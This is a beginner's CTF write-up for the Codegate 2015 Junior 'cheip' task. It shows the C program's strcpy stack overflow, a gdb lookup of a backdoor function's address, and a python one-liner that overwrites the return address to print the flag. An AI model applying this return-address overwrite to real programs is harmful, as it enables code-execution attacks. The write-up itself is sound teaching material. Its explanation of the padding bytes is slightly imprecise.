Codegate CTF Junior Preliminary 2015 - Task cheip

I am a newbie at CTFs so there will be many errors in this writeup. If you found one (or some), please leave a comment or send me an e-mail :D. Thank you :D

Basic buffer overflow exploitation.

We got the following code:

#include <stdio.h>
#include <stdlib.h>

void backdoor() {
        execl("/bin/cat", "/bin/cat", "/home/cheip/flag", 0);
}

void bof(char *str) {
        char buf[256];
        strcpy(buf, str); // vulnerable
}

int main(int argc, char *argv[]) {
        char cmp[]="can_you_do_bof";
        if(argc != 2) {
                exit(0);
        }
        if(strncmp(argv[1], cmp, strlen(cmp))!=0) {
                exit(0);
        }
        bof(argv[1]);
}

strcpy() will copy every byte from str to buf until it reaches a null byte, so I used it to overwrite bof()'s return address with the address of backdoor() in order to execute it.

In order to do that, I will call the program with a crafted argument, which looks like:

"can_you_do_bof" + [some characters to fill the buffer] + [4=sizeof(str) characters to fill bof()'s arguments] + [reversed address of backdoor() due to endianness]

First, I used gdb to get the address of backdoor():

junior_guest@ip-172-31-0-234:/home/cheip$ gdb -q cheip
Reading symbols from /home/cheip/cheip...(no debugging symbols found)...done.
(gdb) info address backdoor
Symbol "backdoor" is at 0x80484a4 in a file compiled without debugging.
(gdb) quit

Then I used python to craft the malicious input and execute the program:

junior_guest@ip-172-31-0-234:/home/cheip$ python -c 'import os; arg = "can_you_do_bof" + ("a" * 242) + ("b" * 4) + "\xa4\x84\x04\x08"; os.system("/home/cheip/cheip " + arg)'
aoxl xvonsd ew we fnvo 0z9d z0ds-d8d8 0d0

The flag is "aoxl xvonsd ew we fnvo 0z9d z0ds-d8d8 0d0".